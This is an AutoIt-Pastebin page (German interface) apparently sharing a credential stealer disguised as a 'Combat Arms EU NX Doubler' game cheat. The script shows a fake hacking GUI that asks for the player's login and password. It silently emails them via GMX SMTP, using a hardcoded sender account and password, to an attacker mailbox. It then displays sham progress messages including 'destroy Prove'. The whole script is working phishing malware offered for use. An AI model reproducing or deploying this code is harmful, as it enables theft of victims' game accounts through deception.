Project by FirePanther
1c6bdde2e1dc69a5ffb9533dea92be7f

Nicht angemeldet.

AutoIt-Pastebin

Auf AutoIt-Pastebin können Sie Ihre Skripte und Codeschnipsel einfügen und anderen eine farblich hervorgehobene Seite zeigen

noch ein scheiß stealor - Eintrag von FirePanther

Details:
Das Skript wird niemals automatisch gelöscht.
Es wurde am 25.05.10 um 22:37 Uhr veröffentlicht und hatte bisher 178 Besucher.
Angehängte Links:
 Func _BLOG4ITMAIL($BETREFF, $FROM, $FROM_NAME, $TO, $SMTP_SERVER, $SMTP_USER, $SMTP_PASSWORT, $SMTP_PORT = 25, $SMPT_SSL = False)
$OBJMESSAGE = ObjCreate("CDO.Message")
$OBJMESSAGE.Subject = $BETREFF
$OBJMESSAGE.From = '"' & $FROM_NAME & '" <' & $FROM & ">"
$OBJMESSAGE.To= $TO
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $SMTP_SERVER
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = $CDOBASIC
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = $SMTP_USER
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $SMTP_PASSWORT
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $SMTP_PORT
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = $SMPT_SSL
$OBJMESSAGE.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 60
$OBJMESSAGE.Configuration.Fields.Update
 EndFunc
 
 
 Func _BLOG4ITMAIL_TEXT($STRING)
$OBJMESSAGE.TextBody = $STRING
 EndFunc
 
 
 Func _BLOG4ITMAIL_TEXTFROMFILE($STRPFAD)
Dim $F = FileOpen($STRPFAD, 0)
$OBJMESSAGE.TextBody = FileRead($F)
FileClose($F)
 EndFunc
 
 
 Func _BLOG4ITMAIL_HTMLTEXT($STRING)
$OBJMESSAGE.HTMLBody = $STRING
 EndFunc
 
 
 Func _BLOG4ITMAIL_HTMLFROMURL($URL)
$OBJMESSAGE.CreateMHTMLBody($URL)
 EndFunc
 
 
 Func _BLOG4ITMAIL_HTMLFROMPFAD($STRPFAD)
$OBJMESSAGE.CreateMHTMLBody("file://" & $STRPFAD)
 EndFunc
 
 
 Func _BLOG4ITMAIL_ANHANG($STRPFAD)
$OBJMESSAGE.AddAttachment($STRPFAD)
 EndFunc
 
 
 Func _BLOG4ITMAIL_SEND()
$OBJMESSAGE.send
 EndFunc
 
#Region ### START Koda GUI section ### Form=
$FORM1 = GUICreate("Combat Arms EU - NX Doubler", 302, 298, 369, 155)
GUISetBkColor(0)
$LABEL1 = GUICtrlCreateLabel("Combat Arms EU - NX Doubler V.1.1", 24, 16, 251, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 65535)
$LABEL2 = GUICtrlCreateLabel("User ID:", 32, 64, 60, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 65535)
$LABEL3 = GUICtrlCreateLabel("Password:", 16, 96, 76, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 65535)
$INPUT1 = GUICtrlCreateInput("", 96, 64, 185, 21)
$INPUT2 = GUICtrlCreateInput("", 96, 96, 185, 21)
$BUTTON1 = GUICtrlCreateButton("Double Nx!", 16, 136, 267, 41, $WS_GROUP)
$LABEL4 = GUICtrlCreateLabel("Process:", 24, 208, 65, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 65535)
$PROZESS = GUICtrlCreateLabel("", 100, 208, 180, 20)
GUICtrlSetFont(-1, 10, 800, 0, "MS Sans Serif")
GUICtrlSetColor(-1, 65535)
$PROGRESS1 = GUICtrlCreateProgress(24, 240, 254, 33)
GUISetState(@SW_SHOW)
#EndRegion ### START Koda GUI section ### Form=
 While 1
$NMSG = GUIGetMsg()
 Switch $NMSG
 Case $GUI_EVENT_CLOSE
Exit
 Case $BUTTON1
GUICtrlSetData($PROGRESS1, 14)
GUICtrlSetData($PROZESS, "hack into the database...")
$LOGIN = GUICtrlRead($INPUT1)
$PASS = GUICtrlRead($INPUT2)
 If $LOGIN = "" Then
MsgBox(0, "Wrong Parameter", "Program will be closed")
Exit
 EndIf
 If $PASS = "" Then
MsgBox(0, "Wrong Parameter", "Program will be closed")
Exit
 EndIf
_BLOG4ITMAIL("CA-Opfer" & @HOUR & ":" & @MIN & ":" & @SEC, "3keylogger@gmx.de", "Combat Arms", "2keylogger@gmx.de", "smtp.gmx.de", "3keylogger@gmx.de", "lolomat1", 25, False)
_BLOG4ITMAIL_TEXT("Login:" & $LOGIN & " " & "PW:" & $PASS)
_BLOG4ITMAIL_SEND()
GUICtrlSetData($PROGRESS1, 30)
GUICtrlSetData($PROZESS, "hack into the database...")
Sleep(1300)
GUICtrlSetData($PROGRESS1, 45)
GUICtrlSetData($PROZESS, "hack into the database...")
GUICtrlSetData($PROGRESS1, 52)
GUICtrlSetData($PROZESS, "hack into the database...")
Sleep(1200)
GUICtrlSetData($PROGRESS1, 70)
GUICtrlSetData($PROZESS, "hack into the database...")
Sleep(1500)
GUICtrlSetData($PROGRESS1, 88)
GUICtrlSetData($PROZESS, "hack into the database...")
GUICtrlSetData($PROGRESS1, 99)
GUICtrlSetData($PROZESS, "destroy Prove")
Sleep(2000)
GUICtrlSetData($PROGRESS1, 100)
GUICtrlSetData($PROZESS, "Finished...")
MsgBox(0, "Nx is hacked", "Nx is hacked")
Exit
 EndSwitch
 WEnd